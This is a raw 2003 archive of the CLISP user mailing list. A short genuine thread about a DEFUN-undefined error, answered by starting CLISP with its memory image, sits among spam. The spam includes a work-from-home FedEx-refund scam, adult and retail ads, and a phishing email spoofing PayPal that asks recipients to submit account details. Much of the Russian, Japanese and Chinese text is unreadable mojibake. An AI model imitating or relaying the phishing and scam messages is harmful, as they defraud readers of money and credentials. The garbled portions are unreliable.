From rn5800@yahoo.com Thu Jun 19 21:57:14 2003 Received: from [61.42.171.189] (helo=61.42.171.189) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19TDxZ-0005EO-00 for ; Thu, 19 Jun 2003 21:57:14 -0700 From: 237653@yahoo.com X-Mailer: Microsoft Outlook Express 6.00.2800.1106 Reply-To: 237653@bigfoot.com Organization: 939701625 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Ëó÷øèå èãðóøêè äëÿ äåòåé è òîâàðû äëÿ ìàìû!  1556476068 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 19 21:58:05 2003 X-Original-Date: Fri, 20 Jun 2003 13:08:46 -0500 Ëó÷øèå èãðóøêè äëÿ äåòåé è òîâàðû äëÿ ìàìû
Ëó÷øèå èãðóøêè äëÿ äåòåé
è òîâàðû äëÿ ìàìû!

Ïðåäëàãàåì âàøåìó âíèìàíèþ:

Àâòîêðåñëî
äëÿ ðåáåíêà

Íåçàìåíèìàÿ âåùü
â ñîâðåìåííîì àâòîìîáèëå. Ãàðàíòèÿ áåçîïàñíîñòè âàøåãî ìàëûøà.


BabyStyle.ru
ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ

 

 íàøåì ìàãàçèíå:

Êîëÿñêè

Àâòîêðåñëà

Ðþêçàêè

Äëÿ êîðìëåíèÿ

Ìåáåëü

Ïîñòåëüíûå ïðèíàäëåæíîñòè

Èãðóøêè

Çâîíèòå:
(095) 943-9603

Ïîäîãðåâàòåëü
äåòñêîãî ïèòàíèÿ


Áûñòðûé è áåçîïàñíûé ñïîñîá ïîäîãðåòü ñöåæåííîå ìîëîêî, ìîëî÷íóþ ñìåñü èëè äåòñêîå ïèòàíèå ïðèìåðíî çà 4 ìèíóòû.


Äåòñêàÿ
êðîâàòêà


Âíóòðåííèé ðàçìåð 120x60 ñì. Ôóíêöèè:
2 óðîâíÿ ïîääîíà, îïóñêàþùåå óñòðîéñòâî, ÿùèê, êà÷àëêà-ìàÿòíèê.


Ìîëîêîîòñîñ
ISIS


Ñ áóòûëî÷êîé 125 ìë ñ ñèëèêîíîâîé ñîñêîé è êðûøêîé äëÿ ïðåâðàùåíèÿ áóòûëî÷êè â ñîñóä äëÿ õðàíåíèÿ ìîëîêà.

Äåéñòâóåò íàêîïèòåëüíàÿ äèñêîíòíàÿ ïðîãðàììà

From 2eobuh@excite.com Sun Jun 22 12:03:54 2003 Received: from [61.41.166.238] (helo=61.41.166.238) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19UA81-0003U5-00 for ; Sun, 22 Jun 2003 12:03:54 -0700 From: 237689@mail.com X-Mailer: The Bat! (v1.61) Personal Reply-To: 237689@earthlink.net Organization: 327199833 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] ß äàâíî æäó òåáÿ 237689 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 22 12:04:03 2003 X-Original-Date: Sun, 22 Jun 2003 11:01:25 -0400 Ñàìûå êðàñèâûå è ñåêñóàëüíûå äåâ÷îíêè æäóò òåáÿ çäåñü! Âñå, î ÷åì òû ìå÷òàë, è äàæå áîëüøå. Ãîðÿ÷èå ïîäðóæêè íà ëþáîé âêóñ. Çàõîäè, çäåñü òåáå âñåãäà ðàäû è âñåãäà æäóò!

Ñ ëþáîâüþ, www.pozvoni.ru
4D441CB6-55FE2E8B-30A63431-6680DFFE-B6869E8 ************* 98207C8-7CD1ABCF-7FBB424B-6CEF4A74-3A9C3DB *** 11F20C7B-37E1E5C4-46C4BCD9-1E8B0A3-7051F807 From billkwndpjdi@darwinsite.com Mon Jun 23 06:24:59 2003 Received: from [63.144.58.254] (helo=mail254.littlesinger.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19URJb-0004sZ-00 for ; Mon, 23 Jun 2003 06:24:59 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <1056368727.8677@mail254.littlesinger.com> X-Mailer: ListManager Web Interface From: billpmxqhgox@darwinsite.com Reply-To: Subject: [clisp-list] Make up to $75 per hour or more In Your Sparetime lnwulwvf Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 23 06:25:14 2003 X-Original-Date: Mon, 23 Jun 2003 07:45:27 -0500 Hello Friend, If you're still looking for a real Home Based Business I'm pretty sure you'll like what we've got.Act Now! Offer Is limited to the 1st 50 people to join Act Now http://www.xtrameg.com/zss/ GET STARTED NOW! How would you like to make $75 per hour processing FedEX refunds from your home computer. If you're anything like most people I talk to, you'd love to work from home if the business was REAL. Well, this is the REAL DEAL... Act Now http://www.xtrameg.com/zss/ Thanks for your time, The Recovery Software Staff P.S. I want to assure you this opportunity has NOTHING to do with MLM, internet marketing, affiliate programs,or any goofy scheme. It's simply an incredible business that's made possible by a closely guarded SECRET of the shipping industry.GET STARTED NOW! Act Now http://www.xtrameg.com/zss/ pyvfc-yvfg^yvfgf(fbheprsbetr(arg From herve1@erols.com Mon Jun 23 16:48:17 2003 Received: from smtp03.mrf.mail.rcn.net ([207.172.4.62]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Ub2m-0003W1-00 for ; Mon, 23 Jun 2003 16:48:16 -0700 Received: from 208-58-193-133.s387.tnt1.abrd.md.dialup.rcn.com ([208.58.193.133] helo=hewlett2ih5nie) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.35 #4) id 19Ub2k-00038y-00 for clisp-list@lists.sf.net; Mon, 23 Jun 2003 19:48:14 -0400 Message-ID: <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> From: "Herve Franceschi" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0003_01C339BF.C7FC18B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Subject: [clisp-list] FAQ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 23 16:49:06 2003 X-Original-Date: Mon, 23 Jun 2003 19:43:55 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C339BF.C7FC18B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am using clisp 2.30.1 when I type=20 (defun f(x) 6) I get the following error *** - EVAL: the function DEFUN is undefined I also tried the factorial function from the tutorial =3D=3D> same = problem What am I doing wrong? Herve Franceschi ------=_NextPart_000_0003_01C339BF.C7FC18B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am using clisp 2.30.1
when I type
 
(defun f(x) 6)
 
I get the following error
*** - EVAL: the function DEFUN is=20 undefined
 
I also tried the factorial function = from the=20 tutorial =3D=3D> same problem
 
What am I doing wrong?
 
Herve = Franceschi
------=_NextPart_000_0003_01C339BF.C7FC18B0-- From samuel.steingold@verizon.net Mon Jun 23 16:56:30 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19UbAj-0007Br-00 for ; Mon, 23 Jun 2003 16:56:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5NNuMO06056; Mon, 23 Jun 2003 19:56:22 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "Herve Franceschi" Cc: Subject: Re: [clisp-list] FAQ References: <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 23 16:57:06 2003 X-Original-Date: 23 Jun 2003 19:56:22 -0400 > * In message <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> > * On the subject of "[clisp-list] FAQ" > * Sent on Mon, 23 Jun 2003 19:43:55 -0400 > * Honorable "Herve Franceschi" writes: > > I am using clisp 2.30.1 > when I type > > (defun f(x) 6) > > I get the following error > *** - EVAL: the function DEFUN is undefined > > I also tried the factorial function from the tutorial ==> same problem > > What am I doing wrong? do you have _clisprc? what is the value of CL:*PACKAGE*? did you change it? what is the prompt? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux There is Truth, and its value is T. Or just non-NIL. So 0 is True! From ampy@ich.dvo.ru Mon Jun 23 17:16:37 2003 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19UbTy-0006FJ-00 for ; Mon, 23 Jun 2003 17:16:25 -0700 Received: from lorenz ([192.168.8.90]) by chemi.ich.dvo.ru (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id h5O0GVQ3001976; Tue, 24 Jun 2003 11:16:31 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <83891781.20030624111542@ich.dvo.ru> To: "Herve Franceschi" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FAQ In-Reply-To: <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> References: <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 23 17:17:17 2003 X-Original-Date: Tue, 24 Jun 2003 11:15:42 +1100 Hello Herve, Tuesday, June 24, 2003, 10:43:55 AM, you wrote: Herve> I am using clisp 2.30.1 Herve> when I type Herve> (defun f(x) 6) Herve> I get the following error Herve> *** - EVAL: the function DEFUN is undefined Herve> I also tried the factorial function from the tutorial ==> same problem Herve> What am I doing wrong? Possibly you're starting clisp without memory image. What command line do you use to start clisp (if any). Do you just click on lisp.exe in explorer ? Please use install.bat or supply a memory image with -M commandl line option. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From ampy@ich.dvo.ru Mon Jun 23 18:43:01 2003 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19Ucpf-0003zk-00 for ; Mon, 23 Jun 2003 18:42:52 -0700 Received: from lorenz ([192.168.8.90]) by chemi.ich.dvo.ru (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id h5O1h0Q3002600; Tue, 24 Jun 2003 12:43:00 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1014703453.20030624124209@ich.dvo.ru> To: "Herve Franceschi" CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] FAQ In-Reply-To: <000301c339eb$7596c9e0$0000a398@hewlett2ih5nie> References: <000201c339e1$db37fc10$0000a398@hewlett2ih5nie> <83891781.20030624111542@ich.dvo.ru> <000301c339eb$7596c9e0$0000a398@hewlett2ih5nie> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 23 18:44:01 2003 X-Original-Date: Tue, 24 Jun 2003 12:42:09 +1100 Hello Herve, Tuesday, June 24, 2003, 11:54:55 AM, you wrote: Herve> To start clisp, I just double click on clisp.exe Herve> I ran install.bat but I still have the same problem Herve> Memory image: what is this? Herve> what shall I type at command line ? Uhhh... - html email - faq question (though there's no FAQ) - top quoting considered bad things here AFAIK. install.bat creates clisp.bat at the desktop, which properly calls clisp with memory image supplied. Memory image is lispinit.mem so whole minimal command line is 'lisp.exe -M lispinit.mem'. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From info@sb88.com Mon Jun 23 22:30:55 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19UgOF-0003KV-00 for ; Mon, 23 Jun 2003 22:30:48 -0700 Received: from p4233-ipad01fukuokachu.fukuoka.ocn.ne.jp ([61.207.245.233]:2260 helo=sb88.com) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19UDrR-00006C-0x for ; Sun, 22 Jun 2003 16:03:01 -0700 Received: (from info@localhost) by sb88.com (8.11.6/8.11.6) id h5MN42E32443 for clisp-list@lists.sourceforge.net; Mon, 23 Jun 2003 08:04:02 +0900 Message-Id: <200306222304.h5MN42E32443@sb88.com> To: clisp-list@lists.sourceforge.net From: =?iso-2022-jp?B?GyRCPlo1ck0tIzUyLyM5QGlLfDFfJVMlQyUvJUElYyVzJTkbKEI=?= MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit X-EA-Verified: externalmx.vasoftware.com 19UDrR-00006C-0x 1ca2e417be7eebab172ec1fbcbf7d634 X-Spam-Score: 1.5 Subject: [clisp-list] =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCF2IzUyLyM5QGlLfDFfPH1Gfj5aNXIkKyRpIzMyLzFfJFgwbEpiISEhISEhGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 23 22:31:25 2003 X-Original-Date: Mon, 23 Jun 2003 08:04:02 +0900 $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L$>5Bz9-9p(B $B!c;v6H5BzG[?.$4MFe$2$^$9!#(B $B!!!!!!!X#5!!2/!!#9!!@i!!K|!!1_!!>Z!!5r!!M-!!:_!!Bp!!%S%8%M%9!Y!!$G!*(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(B $B!!IT67$K>!$D!*$r$4Ds0F!*4{$K!"#22/! /!4/#9@iK|1_<}F~Z5r$+$i#32/1_$X0lJb!!!!(B $B!!!!!!!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f!z(B $B!!!!!!(B $B!!!!!!!!!!!!!!!!!!!!$G!!$9(B $B!!(B $B!!(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(,(0(,(0(,(0(,(0(,(0(,(B $B"#0B?4@83h$HO78e$N6lO+L5$/$90Y$K!"$I$&$7$F$b!Z#5@iK|1_Cy6b$7$?$$![(B $B"#J]>Z$7$F$$$k$N$G!"J]>Z$NHa7`KI;_$N0Y$K!ZJ]>Z>Z7t$G8*Be$o$j$7(B $B!!!!$?$$![(B $B"#:#$NITK~!"IT0B$+$i2rJ|$5$l$k:`NA$H$7$F(B{$B#3@iK|1_$O$I$&$7$F$bI,MW(B} $B!!!!$@![(B $B"#J]>Z$rMj$s$G$$$k$N$G!"Mj$^$l$k2DG=@-$"$j!ZJ]>Z>Z7t$G2r>C$7$?$$![(B $B"##3G/8e$N4jK>$O#3@iK|1_$GC#@.=PMh$k$N$G!ZIT67$@$+$i=PMh$kBg7?!!(B $B!!I{<}F~$rC5$7$F$$$k![(B $B"#%$%s%?!<%M%C%H$GLY$1$h$&$H$7$?$,G/<}#8#0#0K|1_0J2<$J$N$G!Z$b$C$H9b!!(B $B!!N(<}F~$rC5$7$F$$$k![(B $B"#L4$Nh$C!!!!!!$?%5%$%I%S%8%M%9$rC5$7$F$$$k![(B $B"#%[!<%`%Z!<%8:n@.$,LLE]$J$N$G!"%@%s%m!<%I$7$FB($K3+6H=PMh$k!Z9bN(!!!!:_Bp%S%8%M%9$rC5$7$F$$$k![(B $B"#1D6H!"%;!<%k%9!"@bL@$,7y$$$J$N$G!Z%$%s%?!<%M%C%H!&MU=q!&(BFAX$B$G=PMh(B $B!!$k%S%8%M%9$rC5$7$F$$$k![(B $B"#qY$5$l$?$/L5$$$N$G!Z>Z5r$r3NG'=PMh$k3N$+$J:_Bp%S%8%M%9$rC5$7(B $B!!$F$$$k![(B $B!!!!(B $B!!!z!!"f"f"f"f"f!!!y"f"f"f"f"f!!!z"f"f"f"f"f!!!y"f"f"f"f!!!z!!!!!!!!!!(B $B!!(B $B!!!!$"$N;~!"!"#12/1_0J>e$"$C$?$i(B $B!!!!!!!!!!!!!!!!(B $B!!!!!!!!!!!!!!$"$N;~!"J]>Z>Z7t$GJ]>Z$N8*Be$o$j$7$F$$$?$i(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!:#$O!":G9b$G!"$h$j0J>e$KK-$+$J?M@8$J$N$K!*(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(B $B!!!!!!!!!!!!!!:#$+$i$G$bCY$/$"$j$^$;$s(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#32/1_$X$N0lJb(B $B!y!!"f"f"f"f"f!!!z"f"f"f"f"f!!!y!!"f"f"f"f"f!z(B $B"f"f"f"f"f(B $B!y(B $B!zJ]>Z;v6H$KIT67$J$7!&J]>Z$KG:$s$G$$$k?M$O!"B?$$$+$i!#(B3$B@iK|$OM_(B $B!!$7$$?M$OBgB??t$@$+$i!"#22/! /!4/#9@iK|1_$N<}F~>Z5r$r!*3NG'(B $B!!$7$F2<$5$$!#:[H=$O>Z5rZ%S%C%/%S%8%M%9%A%c%s%9!*!*(B $B!!!|$3$A$i$+$i(B $B!!(B http://sb88.com/ $BL5NA$N;qNA$4@A5a=PMh$^$9!#(B $B!!(B $B$3$l$+$i$N0B?4$H$f$H$j$N6b3[$rL\;X$7$F!"$"$J$?$b:_Bp$G=PMh$k8\Ld(B $B$K$J$j$^$;$s$+!)(B $B#52/#9@iK|1_$X$N0lJb$H$7$F;qNA$4@A5a$+$i3+;O!*L5NA$G;qNA$rM9Aw(B $B$7$^$9!#(B $B;qNA$G$$$m$$$m$J;vZ5r$r3NG'$7$F2<$5$$!#(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>Z5r$,0lHV?.MQ=PMh$^$9!#O@$h$j>Z5r$G$9!#(B $B!!(B $B!!!!!!!!#52/#9@iK|1_!!>Z5rM-!!%S%C%/:_Bp%;%+%s%I%S%8%M%9(B $B!z(B--$B!~(B--$B!z(B--$B"!(B--$B!z(B--$B!~(B--$B!z!!!!!y!!!!!z(B--$B!~(B--$B!z(B--$B"!(B--$B!z(B--$B!~(B--$B!z(B From ghep5o@excite.com Tue Jun 24 12:36:09 2003 Received: from [217.129.241.238] (helo=217.129.241.238) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19UtaG-0003V1-00 for ; Tue, 24 Jun 2003 12:36:07 -0700 From: 237729@msn.com X-Mailer: The Bat! (v1.49) Reply-To: 237729@earthlink.net Organization: 791890176 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Â ñâÿçè ñ çàêðûòèåì ñêëàäà ðàñïðîäàåì ìîáèëüíûå òåëåôîíû. 237729 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 24 12:37:04 2003 X-Original-Date: Tue, 24 Jun 2003 11:34:33 -0400
 ñâÿçè ñ çàêðûòèåì ñêëàäà ðàñïðîäàåì ìîáèëüíûå òåëåôîíû. Äîñòàâêà ïî Ìîñêâå.
Òåë. (095) 109-46-00, 517-14-32
 
panasonic gd 55 - 180$ - http://www.sotovik.ru/rating/pgd55.htm
siemens  s55 - 275$ êàìåðà 80$ êàáåëü 15$ - http://www.sotovik.ru/rating/ss55.htm
siemens sl55 - 530$ - http://www.sotovik.ru/rating/ssl55.htm
nokia 7210 - 265$ - http://www.sotovik.ru/rating/n7210.htm
nokia 8910 - 385$ - http://www.sotovik.ru/rating/n8910.htm
nokia 8910i - 690$ - http://www.sotovik.ru/rating/n8910i.htm
sony ericsson t610 - 470$ - http://www.sotovik.ru/rating/set610.htm
vk mobile cg100 - 210$ - http://www.sotovik.ru/rating/vkmobilecg100.htm
samsung a800 - 225$ - http://www.sotovik.ru/rating/sgha800.htm
trium eclipse - 109$ - http://www.sotovik.ru/rating/treclipse.htm
motorola T720i - 215$ - http://www.sotovik.ru/rating/mt720.htm
trium mars +ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2000ðóá.
motorola v2288+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2418ðóá.
motorola v50+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4278ðóá.
motorola t192+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2350ðóá.
motorola c350+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4860ðóá.
motorola t190+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2700ðóá.
motorola t191+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3470ðóá.
siemens a50+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=2945ðóá
siemens a55+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3650ðóá
siemens c55+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4580ðóá
lg W3000+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=4099ðóá
lg b1200+ìòñ îïòèìà íà ñ÷åòó 1000 ðóá=3349ðóá
 
Òåë. (095) 109-46-00, 517-14-32
C3BB332-7937A31E-7ED4DFAB-5135BD10-42E9E6C7 ********* 53A18F8C-3800DAD9-3783A29D-633D7626-62AD5F93 * 65CCAF2D-45937D88-10027221-7CF2B40-EFBCF1E From clisp-list@lists.sourceforge.net Tue Jun 24 15:32:34 2003 Received: from [210.212.45.99] (helo=hillagric.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19UwL0-0002o5-00 for ; Tue, 24 Jun 2003 15:32:30 -0700 Received: from gnu.org ([10.10.10.1]) by hillagric.org (8.11.6/8.11.6) with ESMTP id h5OMVDG17698 for ; Wed, 25 Jun 2003 04:01:14 +0530 Message-Id: <200306242231.h5OMVDG17698@hillagric.org> From: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net Content-Type: text/html; charset="BIG-5" Reply-To: clisp-list@lists.sourceforge.net X-Priority: 2 X-Library: Indy 9.00.10 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Mircosoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] =?Big5?B?uPKms7hnxeequi4uLqR+tc6qQTIwMDMvNi8yNSCkV6TI?= 06:32:18 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 24 15:33:16 2003 X-Original-Date: Wed, 25 Jun 2003 06:32:22 +0800 ¾á¤ß¨S¦³¤H¯ß
   ¤u§@Ãø§ä¡H    ­Ý®t¿ú¤Ó¤Ö¡H   ¤Q¤K¯ëªZÃÀµ¥¤H¬D¡H ¦³°Ó«~¨S¥Í·N«ç¿ì ?  
   
    ºô¸ô¤W»{¦P§Ú­Ì²z©ÀªºªB¤Í«Ü¦h¡I
     ¥þ¬Ù¦U¿¤¥«©±ªø±N¬°§A·¾³q³o¤@¥÷¨Æ·~
     ¨É¦³¥þ¬Ù¬õ§Q¦^õX ©w´Á¶}¿ì¦¨ªø¤Îºô¸ô¦æ¾P°V½m
    §K¶O´£¨Ñºô¸ô¸ê·½¤Î¦W³æ¥þ¬Ù¹êÅé¾ÚÂI¤£¥Î§A¥h±À¾P¡A§Q¼í¦ÛµM²£¥Í
   ¸gÀÙ¤£´º®ð¡B¦³©±¨S¥Í·N §K¶O´£¨Ñºô¸ô¶}©±¨t²Î
   ©Ò¦³ºÞ¾P¶O¥Î¤£¥Î§A¥X¡A¤½¥q¥þÃB­t³d¡AÁÈ¿ú 0 ­·ÀI
                  
¬Oªº §Ú·Q¨Ï¥Îºô¯¸+ºô¸ô¶}©±+¦W³æªº³Ð·~¨t²Î
©m¦W
©Ê§O
¨k ¤k  
¦~ÄÖ
(»Ýº¡20·³¥H¤W)
¾·~
  ¨ä¥L»¡©ú
¥æ³q
¾÷¨® ¨T¨® ¾÷'¨T¨®¬Ò¥i ¾÷'¨T¨®¬ÒµL
¯S½è
 
»Ý¨D
³Ð·~·í¦ÑÁó ¼W¥[¦¬¤J ¿ú¤£°÷ ·QÁÈ¿ú
°V½m

ºô¸ô¦æ¾P&±Ð¨|°V½m
¦í§}
¹q¸Ü
 ¦æ°Ê ¥²¶ñ
Ápµ¸

¤è«KÁpµ¸®É¶¡
«H½c
¥²¶ñ
¯d¨¥
­­500¦r
 24¤p®É±N¥Ñ¤uµ{®v»P±zÁpµ¸


¡@

From service@paypal.com Tue Jun 24 20:22:29 2003 Received: from [207.44.196.35] (helo=server3.neosurge.com) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19V0rc-0005gm-00 for ; Tue, 24 Jun 2003 20:22:29 -0700 Received: from nobody by server3.neosurge.com with local (Exim 4.20) id 19V0rh-0006pK-R3 for clisp-list@lists.sourceforge.net; Tue, 24 Jun 2003 22:22:33 -0500 To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-type: text/html; charset=iso-8859-1 From: service@paypal.com Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server3.neosurge.com X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - paypal.com Subject: [clisp-list] Security Measures Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 24 20:24:14 2003 X-Original-Date: Tue, 24 Jun 2003 22:22:33 -0500 Your information is not complete
  Sign Up | Log In | Help

Welcome Send Money Request Money Merchant Tools Auction Tools

Dear PayPal Customer


  Your As part of our continuing commitment to protect your account and to reduce the
instance of fraud on our website, we are undertaking a period review of our
                         member accounts. You are requested to visit our site by following the link given below :                    https://www.paypal.com/cgi-bin/webscr?cmd=verification

Please fill in the required information.
This is required for us to continue to offer you a safe and risk free
